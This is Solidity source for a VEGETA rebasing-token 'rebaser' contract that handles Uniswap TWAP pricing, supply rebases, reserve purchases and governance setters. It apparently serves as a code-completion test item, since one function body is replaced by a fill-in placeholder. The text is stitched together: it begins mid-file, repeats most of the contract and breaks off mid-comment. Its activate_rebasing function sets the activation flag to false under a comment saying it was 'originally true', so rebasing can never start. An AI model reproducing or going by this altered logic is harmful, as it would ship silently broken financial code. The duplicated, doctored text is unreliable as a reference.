deployment time ///@notice boolean showing rebase activation status bool public rebasingActive; /// @notice delays rebasing activation to facilitate liquidity uint256 public constant rebaseDelay = 12 hours; /// @notice Time of TWAP initialization uint256 public timeOfTWAPInit; /// @notice VEGETA token address address public vegetaAddress; /// @notice reserve token address public reserveToken; /// @notice Reserves vault contract address public reservesContract; /// @notice pair for reserveToken <> VEGETA address public uniswap_pair; /// @notice last TWAP update time uint32 public blockTimestampLast; /// @notice last TWAP cumulative price; uint256 public priceCumulativeLast; // Max slippage factor when buying reserve token. Magic number based on // the fact that uniswap is a constant product. Therefore, // targeting a % max slippage can be achieved by using a single precomputed // number. i.e. 2.5% slippage is always equal to some f(maxSlippageFactor, reserves) /// @notice the maximum slippage factor when buying reserve token uint256 public maxSlippageFactor; /// @notice Whether or not this token is first in uniswap VEGETA<>Reserve pair bool public isToken0; constructor( address vegetaAddress_, address reserveToken_, address uniswap_factory, address reservesContract_ ) public { minRebaseTimeIntervalSec = 12 hours; rebaseWindowOffsetSec = 28800; // 8am/8pm UTC rebases reservesContract = reservesContract_; (address token0, address token1) = sortTokens(vegetaAddress_, reserveToken_); // used for interacting with uniswap if (token0 == vegetaAddress_) { isToken0 = true; } else { isToken0 = false; } // uniswap VEGETA<>Reserve pair uniswap_pair = pairFor(uniswap_factory, token0, token1); // Reserves contract is mutable reservesContract = reservesContract_; // Reserve token is not mutable. Must deploy a new rebaser to update it reserveToken = reserveToken_; vegetaAddress = vegetaAddress_; // target 10% slippage // 5.4% maxSlippageFactor = 5409258 * 10**10; // 1 YCRV targetRate = 10**18; // twice daily rebase, with targeting reaching peg in 5 days rebaseLag = 10; // 10% rebaseMintPerc = 10**17; // 5% deviationThreshold = 5 * 10**16; // 60 minutes rebaseWindowLengthSec = 60 * 60; // Changed in deployment scripts to facilitate protocol initiation gov = msg.sender; } /** @notice Updates slippage factor @param maxSlippageFactor_ the new slippage factor * */ function setMaxSlippageFactor(uint256 maxSlippageFactor_) public onlyGov { uint256 oldSlippageFactor = maxSlippageFactor; maxSlippageFactor = maxSlippageFactor_; emit NewMaxSlippageFactor(oldSlippageFactor, maxSlippageFactor_); } /** @notice Updates rebase mint percentage @param rebaseMintPerc_ the new rebase mint percentage * */ function setRebaseMintPerc(uint256 rebaseMintPerc_) public onlyGov { uint256 oldPerc = rebaseMintPerc; rebaseMintPerc = rebaseMintPerc_; emit NewRebaseMintPercent(oldPerc, rebaseMintPerc_); } /** @notice Updates reserve contract @param reservesContract_ the new reserve contract * */ function setReserveContract(address reservesContract_) public onlyGov { address oldReservesContract = reservesContract; reservesContract = reservesContract_; emit NewReserveContract(oldReservesContract, reservesContract_); } /** @notice sets the pendingGov * @param pendingGov_ The address of the rebaser contract to use for authentication. */ function _setPendingGov(address pendingGov_) external onlyGov { address oldPendingGov = pendingGov; pendingGov = pendingGov_; emit NewPendingGov(oldPendingGov, pendingGov_); } /** @notice lets msg.sender accept governance * */ function _acceptGov() external { require(msg.sender == pendingGov, "!pending"); address oldGov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldGov, gov); } /** @notice Initializes TWAP start point, starts countdown to first rebase * */ function init_twap() public { require(timeOfTWAPInit == 0, "already activated"); (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0); require(blockTimestamp > 0, "no trades"); blockTimestampLast = blockTimestamp; priceCumulativeLast = priceCumulative; timeOfTWAPInit = blockTimestamp; } /** @notice Activates rebasing * @dev One way function, cannot be undone, callable by anyone */ function activate_rebasing() public { require(timeOfTWAPInit > 0, "twap wasnt intitiated, call init_twap()"); // cannot enable prior to end of rebaseDelay require(now >= timeOfTWAPInit + rebaseDelay, "!end_delay"); rebasingActive = false; // disable rebase, originally true; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is 1e18 */ function rebase() public { // EOA only require(msg.sender == tx.origin); // ensure rebasing at correct time _inRebaseWindow(); // This comparison also ensures there is no reentrancy. require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); // Snap the rebase time to the start of this window. lastRebaseTimestampSec = now.sub( now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec); epoch = epoch.add(1); // get twap from uniswap v2; uint256 exchangeRate = getTWAP(); // calculates % change to supply (uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate); uint256 indexDelta = offPegPerc; // Apply the Dampening factor. indexDelta = indexDelta.div(rebaseLag); VEGETATokenInterface vegeta = VEGETATokenInterface(vegetaAddress); if (positive) { require(vegeta.vegetasScalingFactor().mul(uint256(10**18).add(indexDelta)).div(10**18) < vegeta.maxScalingFactor(), "new scaling factor will be too big"); } uint256 currSupply = vegeta.totalSupply(); uint256 mintAmount; // reduce indexDelta to account for minting if (positive) { uint256 mintPerc = indexDelta.mul(rebaseMintPerc).div(10**18); indexDelta = indexDelta.sub(mintPerc); mintAmount = currSupply.mul(mintPerc).div(10**18); } // rebase uint256 supplyAfterRebase = vegeta.rebase(epoch, indexDelta, positive); assert(vegeta.vegetasScalingFactor() <= vegeta.maxScalingFactor()); // perform actions after rebase afterRebase(mintAmount, offPegPerc); } function uniswapV2Call( address sender, uint256 amount0, uint256 amount1, bytes memory data ) public { // enforce that it is coming from uniswap require(msg.sender == uniswap_pair, "bad msg.sender"); // enforce that this contract called uniswap require(sender == address(this), "bad origin"); (UniVars memory uniVars) = abi.decode(data, (UniVars)); VEGETATokenInterface vegeta = VEGETATokenInterface(vegetaAddress); if (uniVars.amountFromReserves > 0) { // transfer from reserves and mint to uniswap vegeta.transferFrom(reservesContract, uniswap_pair, uniVars.amountFromReserves); if (uniVars.amountFromReserves < uniVars.vegetasToUni) { // if the amount from reserves > vegetasToUni, we have fully paid for the yCRV tokens // thus this number would be 0 so no need to mint vegeta.mint(uniswap_pair, uniVars.vegetasToUni.sub(uniVars.amountFromReserves)); } } else { // mint to uniswap vegeta.mint(uniswap_pair, uniVars.vegetasToUni); } // mint unsold to mintAmount if (uniVars.mintToReserves > 0) { vegeta.mint(reservesContract, uniVars.mintToReserves); } // transfer reserve token to reserves if (isToken0) { SafeERC20.safeTransfer(IERC20(reserveToken), reservesContract, amount1); emit TreasuryIncreased(amount1, uniVars.vegetasToUni, uniVars.amountFromReserves, uniVars.mintToReserves); } else { SafeERC20.safeTransfer(IERC20(reserveToken), reservesContract, amount0); emit TreasuryIncreased(amount0, uniVars.vegetasToUni, uniVars.amountFromReserves, uniVars.mintToReserves); } } function buyReserveAndTransfer( uint256 mintAmount, uint256 offPegPerc ) internal { UniswapPair pair = UniswapPair(uniswap_pair); VEGETATokenInterface vegeta = VEGETATokenInterface(vegetaAddress); // get reserves (uint256 token0Reserves, uint256 token1Reserves, ) = pair.getReserves(); // check if protocol has excess vegeta in the reserve uint256 excess = vegeta.balanceOf(reservesContract); uint256 tokens_to_max_slippage = uniswapMaxSlippage(token0Reserves, token1Reserves, offPegPerc); UniVars memory uniVars = UniVars({ vegetasToUni: tokens_to_max_slippage, // how many vegetas uniswap needs amountFromReserves: excess, // how much of vegetasToUni comes from reserves mintToReserves: 0 // how much vegetas protocol mints to reserves }); // tries to sell all mint + excess // falls back to selling some of mint and all of excess // if all else fails, sells portion of excess // upon pair.swap, `uniswapV2Call` is called by the uniswap pair contract if (isToken0) { if (tokens_to_max_slippage > mintAmount.add(excess)) { // we already have performed a safemath check on mintAmount+excess // so we dont need to continue using it in this code path // can handle selling all of reserves and mint uint256 buyTokens = getAmountOut(mintAmount + excess, token0Reserves, token1Reserves); uniVars.vegetasToUni = mintAmount + excess; uniVars.amountFromReserves = excess; // call swap using entire mint amount and excess; mint 0 to reserves pair.swap(0, buyTokens, address(this), abi.encode(uniVars)); } else { if (tokens_to_max_slippage > excess) { // uniswap can handle entire reserves uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token0Reserves, token1Reserves); // swap up to slippage limit, taking entire vegeta reserves, and minting part of total uniVars.mintToReserves = mintAmount.sub((tokens_to_max_slippage - excess)); pair.swap(0, buyTokens, address(this), abi.encode(uniVars)); } else { // uniswap cant handle all of excess uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token0Reserves, token1Reserves); uniVars.amountFromReserves = tokens_to_max_slippage; uniVars.mintToReserves = mintAmount; // swap up to slippage limit, taking excess - remainingExcess from reserves, and minting full amount // to reserves pair.swap(0, buyTokens, address(this), abi.encode(uniVars)); } } } else { if (tokens_to_max_slippage > mintAmount.add(excess)) { // can handle all of reserves and mint uint256 buyTokens = getAmountOut(mintAmount + excess, token1Reserves, token0Reserves); uniVars.vegetasToUni = mintAmount + excess; uniVars.amountFromReserves = excess; // call swap using entire mint amount and excess; mint 0 to reserves pair.swap(buyTokens, 0, address(this), abi.encode(uniVars)); } else { if (tokens_to_max_slippage > excess) { // uniswap can handle entire reserves uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token1Reserves, token0Reserves); // swap up to slippage limit, taking entire vegeta reserves, and minting part of total uniVars.mintToReserves = mintAmount.sub( (tokens_to_max_slippage - excess)); // swap up to slippage limit, taking entire vegeta reserves, and minting part of total pair.swap(buyTokens, 0, address(this), abi.encode(uniVars)); } else { // uniswap cant handle all of excess uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token1Reserves, token0Reserves); uniVars.amountFromReserves = tokens_to_max_slippage; uniVars.mintToReserves = mintAmount; // swap up to slippage limit, taking excess - remainingExcess from reserves, and minting full amount // to reserves pair.swap(buyTokens, 0, address(this), abi.encode(uniVars)); } } } } function uniswapMaxSlippage( uint256 token0, uint256 token1, uint256 offPegPerc ) internal view returns (uint256) { if (isToken0) { if (offPegPerc >= 10**17) { // cap slippage return token0.mul(maxSlippageFactor).div(10**18); } else { // in the 5-10% off peg range, slippage is essentially 2*x (where x is percentage of pool to buy). // all we care about is not pushing below the peg, so underestimate // the amount we can sell by dividing by 3. resulting price impact // should be ~= offPegPerc * 2 / 3, which will keep us above the peg // // this is a conservative heuristic return token0.mul(offPegPerc / 3).div(10**18); } } else { if (offPegPerc >= 10**17) { return token1.mul(maxSlippageFactor).div(10**18); } else { return token1.mul(offPegPerc / 3).div(10**18); } } } /** * @notice given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset * * @param amountIn input amount of the asset * @param reserveIn reserves of the asset being sold * @param reserveOut reserves if the asset being purchased */ function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) internal pure returns (uint amountOut) {<FILL_FUNCTION_BODY> } function afterRebase( uint256 mintAmount, uint256 offPegPerc ) internal { // update uniswap UniswapPair(uniswap_pair).sync(); if (mintAmount > 0) { buyReserveAndTransfer( mintAmount, offPegPerc ); } // call any extra functions for (uint i = 0; i < transactions.length; i++) { Transaction storage t = transactions[i]; if (t.enabled) { bool result = externalCall(t.destination, t.data); if (!result) { emit TransactionFailed(t.destination, i, t.data); revert("Transaction Failed"); } } } } /** * @notice Calculates TWAP from uniswap * * @dev When liquidity is low, this can be manipulated by an end of block -> next block * attack. We delay the activation of rebases 12 hours after liquidity incentives * to reduce this attack vector. Additional there is very little supply * to be able to manipulate this during that time period of highest vuln. */ function getTWAP() internal returns (uint256) { (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // no period check as is done in isRebaseWindow // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed)); priceCumulativeLast = priceCumulative; blockTimestampLast = blockTimestamp; return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18)); } /** * @notice Calculates current TWAP from uniswap * */ function getCurrentTWAP() public view returns (uint256) { (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // no period check as is done in isRebaseWindow // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed)); return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18)); } /** * @notice Sets the deviation threshold fraction. If the exchange rate given by the market * oracle is within this fractional distance from the targetRate, then no supply * modifications are made. * @param deviationThreshold_ The new exchange rate threshold fraction. */ function setDeviationThreshold(uint256 deviationThreshold_) external onlyGov { require(deviationThreshold > 0); uint256 oldDeviationThreshold = deviationThreshold; deviationThreshold = deviationThreshold_; emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_); } /** * @notice Sets the rebase lag parameter. It is used to dampen the applied supply adjustment by 1 / rebaseLag If the rebase lag R, equals 1, the smallest value for R, then the full supply correction is applied on each rebase cycle. If it is greater than 1, then a correction of 1/R of is applied on each rebase. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyGov { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the targetRate parameter. * @param targetRate_ The new target rate parameter. */ function setTargetRate(uint256 targetRate_) external onlyGov { require(targetRate_ > 0); targetRate = targetRate_; } /** * @notice Sets the parameters which control the timing and frequency of * rebase operations. * a) the minimum time period that must elapse between rebase cycles. * b) the rebase window offset parameter. * c) the rebase window length parameter. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. * @param rebaseWindowOffsetSec_ The number of seconds from the beginning of the rebase interval, where the rebase window begins. * @param rebaseWindowLengthSec_ The length of the rebase window in seconds. */ function setRebaseTimingParameters( uint256 minRebaseTimeIntervalSec_, uint256 rebaseWindowOffsetSec_, uint256 rebaseWindowLengthSec_) external onlyGov { require(minRebaseTimeIntervalSec_ > 0); require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_); minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; rebaseWindowOffsetSec = rebaseWindowOffsetSec_; rebaseWindowLengthSec = rebaseWindowLengthSec_; } /** * @return If the latest block timestamp is within the rebase time window it, returns true. * Otherwise, returns false. */ function inRebaseWindow() public view returns (bool) { // rebasing is delayed until there is a liquid market _inRebaseWindow(); return true; } function _inRebaseWindow() internal view { // rebasing is delayed until there is a liquid market require(rebasingActive, "rebasing not active"); require(now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, "too early"); require(now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), "too late"); } /** * @return Computes in % how far off market is from peg */ function computeOffPegPerc(uint256 rate) private view returns (uint256, bool) { if (withinDeviationThreshold(rate)) { return (0, false); } // indexDelta = (rate - targetRate) / targetRate if (rate > targetRate) { return (rate.sub(targetRate).mul(10**18).div(targetRate), true); } else { return (targetRate.sub(rate).mul(10**18).div(targetRate), false); } } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate) private view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** 18); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /* - Constructor Helpers - */ // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address token0, address token1 ) internal pure returns (address pair) { pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens( address tokenA, address tokenB ) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } /* -- Rebase helpers -- */ /** * @notice Adds a transaction that gets called for a downstream receiver of rebases * @param destination Address of contract destination * @param data Transaction data payload */ function addTransaction(address destination, bytes calldata data) external onlyGov { transactions.push(Transaction({ enabled: true, destination: destination, data: data })); } /** * @param index Index of transaction to remove. * Transaction ordering may have changed since adding. */ function removeTransaction(uint index) external onlyGov { require(index < transactions.length, "index out of bounds"); if (index < transactions.length - 1) { transactions[index] = transactions[transactions.length - 1]; } transactions.length--; } /** * @param index Index of transaction. Transaction ordering may have changed since adding. * @param enabled True for enabled, false for disabled. */ function setTransactionEnabled(uint index, bool enabled) external onlyGov { require(index < transactions.length, "index must be in range of stored tx list"); transactions[index].enabled = enabled; } /** * @dev wrapper to call the encoded transactions on downstream consumers. * @param destination Address of destination contract. * @param data The encoded data payload. * @return True on success */ function externalCall(address destination, bytes memory data) internal returns (bool) { bool result; assembly { // solhint-disable-line no-inline-assembly // "Allocate" memory for output // (0x40 is where "free memory" pointer is stored by convention) let outputAddress := mload(0x40) // First 32 bytes are the padded length of data, so exclude that let dataAddress := add(data, 32) result := call( // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) // + callValueTransferGas (9000) + callNewAccountGas // (25000, in case the destination address does not exist and needs creating) sub(gas, 34710), destination, 0, // transfer value in wei dataAddress, mload(data), // Size of the input, in bytes. Stored in position 0 of the array. outputAddress, 0 // Output is ignored, therefore the output size is zero ) } return result; } }
contract VEGETARebaser { using SafeMath for uint256; modifier onlyGov() { require(msg.sender == gov); _; } struct Transaction { bool enabled; address destination; bytes data; } struct UniVars { uint256 vegetasToUni; uint256 amountFromReserves; uint256 mintToReserves; } /// @notice an event emitted when a transaction fails event TransactionFailed(address indexed destination, uint index, bytes data); /// @notice an event emitted when maxSlippageFactor is changed event NewMaxSlippageFactor(uint256 oldSlippageFactor, uint256 newSlippageFactor); /// @notice an event emitted when deviationThreshold is changed event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold); /** * @notice Sets the treasury mint percentage of rebase */ event NewRebaseMintPercent(uint256 oldRebaseMintPerc, uint256 newRebaseMintPerc); /** * @notice Sets the reserve contract */ event NewReserveContract(address oldReserveContract, address newReserveContract); /** * @notice Sets the reserve contract */ event TreasuryIncreased(uint256 reservesAdded, uint256 vegetasSold, uint256 vegetasFromReserves, uint256 vegetasToReserves); /** * @notice Event emitted when pendingGov is changed */ event NewPendingGov(address oldPendingGov, address newPendingGov); /** * @notice Event emitted when gov is changed */ event NewGov(address oldGov, address newGov); // Stable ordering is not guaranteed. Transaction[] public transactions; /// @notice Governance address address public gov; /// @notice Pending Governance address address public pendingGov; /// @notice Spreads out getting to the target price uint256 public rebaseLag; /// @notice Peg target uint256 public targetRate; /// @notice Percent of rebase that goes to minting for treasury building uint256 public rebaseMintPerc; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. uint256 public deviationThreshold; /// @notice More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; /// @notice Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; /// @notice The rebase window begins this many seconds into the minRebaseTimeInterval period. // For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds. uint256 public rebaseWindowOffsetSec; /// @notice The length of the time window where a rebase operation is allowed to execute, in seconds. uint256 public rebaseWindowLengthSec; /// @notice The number of rebase cycles since inception uint256 public epoch; // rebasing is not active initially. It can be activated at T+12 hours from // deployment time ///@notice boolean showing rebase activation status bool public rebasingActive; /// @notice delays rebasing activation to facilitate liquidity uint256 public constant rebaseDelay = 12 hours; /// @notice Time of TWAP initialization uint256 public timeOfTWAPInit; /// @notice VEGETA token address address public vegetaAddress; /// @notice reserve token address public reserveToken; /// @notice Reserves vault contract address public reservesContract; /// @notice pair for reserveToken <> VEGETA address public uniswap_pair; /// @notice last TWAP update time uint32 public blockTimestampLast; /// @notice last TWAP cumulative price; uint256 public priceCumulativeLast; // Max slippage factor when buying reserve token. Magic number based on // the fact that uniswap is a constant product. Therefore, // targeting a % max slippage can be achieved by using a single precomputed // number. i.e. 2.5% slippage is always equal to some f(maxSlippageFactor, reserves) /// @notice the maximum slippage factor when buying reserve token uint256 public maxSlippageFactor; /// @notice Whether or not this token is first in uniswap VEGETA<>Reserve pair bool public isToken0; constructor( address vegetaAddress_, address reserveToken_, address uniswap_factory, address reservesContract_ ) public { minRebaseTimeIntervalSec = 12 hours; rebaseWindowOffsetSec = 28800; // 8am/8pm UTC rebases reservesContract = reservesContract_; (address token0, address token1) = sortTokens(vegetaAddress_, reserveToken_); // used for interacting with uniswap if (token0 == vegetaAddress_) { isToken0 = true; } else { isToken0 = false; } // uniswap VEGETA<>Reserve pair uniswap_pair = pairFor(uniswap_factory, token0, token1); // Reserves contract is mutable reservesContract = reservesContract_; // Reserve token is not mutable. Must deploy a new rebaser to update it reserveToken = reserveToken_; vegetaAddress = vegetaAddress_; // target 10% slippage // 5.4% maxSlippageFactor = 5409258 * 10**10; // 1 YCRV targetRate = 10**18; // twice daily rebase, with targeting reaching peg in 5 days rebaseLag = 10; // 10% rebaseMintPerc = 10**17; // 5% deviationThreshold = 5 * 10**16; // 60 minutes rebaseWindowLengthSec = 60 * 60; // Changed in deployment scripts to facilitate protocol initiation gov = msg.sender; } /** @notice Updates slippage factor @param maxSlippageFactor_ the new slippage factor * */ function setMaxSlippageFactor(uint256 maxSlippageFactor_) public onlyGov { uint256 oldSlippageFactor = maxSlippageFactor; maxSlippageFactor = maxSlippageFactor_; emit NewMaxSlippageFactor(oldSlippageFactor, maxSlippageFactor_); } /** @notice Updates rebase mint percentage @param rebaseMintPerc_ the new rebase mint percentage * */ function setRebaseMintPerc(uint256 rebaseMintPerc_) public onlyGov { uint256 oldPerc = rebaseMintPerc; rebaseMintPerc = rebaseMintPerc_; emit NewRebaseMintPercent(oldPerc, rebaseMintPerc_); } /** @notice Updates reserve contract @param reservesContract_ the new reserve contract * */ function setReserveContract(address reservesContract_) public onlyGov { address oldReservesContract = reservesContract; reservesContract = reservesContract_; emit NewReserveContract(oldReservesContract, reservesContract_); } /** @notice sets the pendingGov * @param pendingGov_ The address of the rebaser contract to use for authentication. */ function _setPendingGov(address pendingGov_) external onlyGov { address oldPendingGov = pendingGov; pendingGov = pendingGov_; emit NewPendingGov(oldPendingGov, pendingGov_); } /** @notice lets msg.sender accept governance * */ function _acceptGov() external { require(msg.sender == pendingGov, "!pending"); address oldGov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldGov, gov); } /** @notice Initializes TWAP start point, starts countdown to first rebase * */ function init_twap() public { require(timeOfTWAPInit == 0, "already activated"); (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0); require(blockTimestamp > 0, "no trades"); blockTimestampLast = blockTimestamp; priceCumulativeLast = priceCumulative; timeOfTWAPInit = blockTimestamp; } /** @notice Activates rebasing * @dev One way function, cannot be undone, callable by anyone */ function activate_rebasing() public { require(timeOfTWAPInit > 0, "twap wasnt intitiated, call init_twap()"); // cannot enable prior to end of rebaseDelay require(now >= timeOfTWAPInit + rebaseDelay, "!end_delay"); rebasingActive = false; // disable rebase, originally true; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is 1e18 */ function rebase() public { // EOA only require(msg.sender == tx.origin); // ensure rebasing at correct time _inRebaseWindow(); // This comparison also ensures there is no reentrancy. require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); // Snap the rebase time to the start of this window. lastRebaseTimestampSec = now.sub( now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec); epoch = epoch.add(1); // get twap from uniswap v2; uint256 exchangeRate = getTWAP(); // calculates % change to supply (uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate); uint256 indexDelta = offPegPerc; // Apply the Dampening factor. indexDelta = indexDelta.div(rebaseLag); VEGETATokenInterface vegeta = VEGETATokenInterface(vegetaAddress); if (positive) { require(vegeta.vegetasScalingFactor().mul(uint256(10**18).add(indexDelta)).div(10**18) < vegeta.maxScalingFactor(), "new scaling factor will be too big"); } uint256 currSupply = vegeta.totalSupply(); uint256 mintAmount; // reduce indexDelta to account for minting if (positive) { uint256 mintPerc = indexDelta.mul(rebaseMintPerc).div(10**18); indexDelta = indexDelta.sub(mintPerc); mintAmount = currSupply.mul(mintPerc).div(10**18); } // rebase uint256 supplyAfterRebase = vegeta.rebase(epoch, indexDelta, positive); assert(vegeta.vegetasScalingFactor() <= vegeta.maxScalingFactor()); // perform actions after rebase afterRebase(mintAmount, offPegPerc); } function uniswapV2Call( address sender, uint256 amount0, uint256 amount1, bytes memory data ) public { // enforce that it is coming from uniswap require(msg.sender == uniswap_pair, "bad msg.sender"); // enforce that this contract called uniswap require(sender == address(this), "bad origin"); (UniVars memory uniVars) = abi.decode(data, (UniVars)); VEGETATokenInterface vegeta = VEGETATokenInterface(vegetaAddress); if (uniVars.amountFromReserves > 0) { // transfer from reserves and mint to uniswap vegeta.transferFrom(reservesContract, uniswap_pair, uniVars.amountFromReserves); if (uniVars.amountFromReserves < uniVars.vegetasToUni) { // if the amount from reserves > vegetasToUni, we have fully paid for the yCRV tokens // thus this number would be 0 so no need to mint vegeta.mint(uniswap_pair, uniVars.vegetasToUni.sub(uniVars.amountFromReserves)); } } else { // mint to uniswap vegeta.mint(uniswap_pair, uniVars.vegetasToUni); } // mint unsold to mintAmount if (uniVars.mintToReserves > 0) { vegeta.mint(reservesContract, uniVars.mintToReserves); } // transfer reserve token to reserves if (isToken0) { SafeERC20.safeTransfer(IERC20(reserveToken), reservesContract, amount1); emit TreasuryIncreased(amount1, uniVars.vegetasToUni, uniVars.amountFromReserves, uniVars.mintToReserves); } else { SafeERC20.safeTransfer(IERC20(reserveToken), reservesContract, amount0); emit TreasuryIncreased(amount0, uniVars.vegetasToUni, uniVars.amountFromReserves, uniVars.mintToReserves); } } function buyReserveAndTransfer( uint256 mintAmount, uint256 offPegPerc ) internal { UniswapPair pair = UniswapPair(uniswap_pair); VEGETATokenInterface vegeta = VEGETATokenInterface(vegetaAddress); // get reserves (uint256 token0Reserves, uint256 token1Reserves, ) = pair.getReserves(); // check if protocol has excess vegeta in the reserve uint256 excess = vegeta.balanceOf(reservesContract); uint256 tokens_to_max_slippage = uniswapMaxSlippage(token0Reserves, token1Reserves, offPegPerc); UniVars memory uniVars = UniVars({ vegetasToUni: tokens_to_max_slippage, // how many vegetas uniswap needs amountFromReserves: excess, // how much of vegetasToUni comes from reserves mintToReserves: 0 // how much vegetas protocol mints to reserves }); // tries to sell all mint + excess // falls back to selling some of mint and all of excess // if all else fails, sells portion of excess // upon pair.swap, `uniswapV2Call` is called by the uniswap pair contract if (isToken0) { if (tokens_to_max_slippage > mintAmount.add(excess)) { // we already have performed a safemath check on mintAmount+excess // so we dont need to continue using it in this code path // can handle selling all of reserves and mint uint256 buyTokens = getAmountOut(mintAmount + excess, token0Reserves, token1Reserves); uniVars.vegetasToUni = mintAmount + excess; uniVars.amountFromReserves = excess; // call swap using entire mint amount and excess; mint 0 to reserves pair.swap(0, buyTokens, address(this), abi.encode(uniVars)); } else { if (tokens_to_max_slippage > excess) { // uniswap can handle entire reserves uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token0Reserves, token1Reserves); // swap up to slippage limit, taking entire vegeta reserves, and minting part of total uniVars.mintToReserves = mintAmount.sub((tokens_to_max_slippage - excess)); pair.swap(0, buyTokens, address(this), abi.encode(uniVars)); } else { // uniswap cant handle all of excess uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token0Reserves, token1Reserves); uniVars.amountFromReserves = tokens_to_max_slippage; uniVars.mintToReserves = mintAmount; // swap up to slippage limit, taking excess - remainingExcess from reserves, and minting full amount // to reserves pair.swap(0, buyTokens, address(this), abi.encode(uniVars)); } } } else { if (tokens_to_max_slippage > mintAmount.add(excess)) { // can handle all of reserves and mint uint256 buyTokens = getAmountOut(mintAmount + excess, token1Reserves, token0Reserves); uniVars.vegetasToUni = mintAmount + excess; uniVars.amountFromReserves = excess; // call swap using entire mint amount and excess; mint 0 to reserves pair.swap(buyTokens, 0, address(this), abi.encode(uniVars)); } else { if (tokens_to_max_slippage > excess) { // uniswap can handle entire reserves uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token1Reserves, token0Reserves); // swap up to slippage limit, taking entire vegeta reserves, and minting part of total uniVars.mintToReserves = mintAmount.sub( (tokens_to_max_slippage - excess)); // swap up to slippage limit, taking entire vegeta reserves, and minting part of total pair.swap(buyTokens, 0, address(this), abi.encode(uniVars)); } else { // uniswap cant handle all of excess uint256 buyTokens = getAmountOut(tokens_to_max_slippage, token1Reserves, token0Reserves); uniVars.amountFromReserves = tokens_to_max_slippage; uniVars.mintToReserves = mintAmount; // swap up to slippage limit, taking excess - remainingExcess from reserves, and minting full amount // to reserves pair.swap(buyTokens, 0, address(this), abi.encode(uniVars)); } } } } function uniswapMaxSlippage( uint256 token0, uint256 token1, uint256 offPegPerc ) internal view returns (uint256) { if (isToken0) { if (offPegPerc >= 10**17) { // cap slippage return token0.mul(maxSlippageFactor).div(10**18); } else { // in the 5-10% off peg range, slippage is essentially 2*x (where x is percentage of pool to buy). // all we care about is not pushing below the 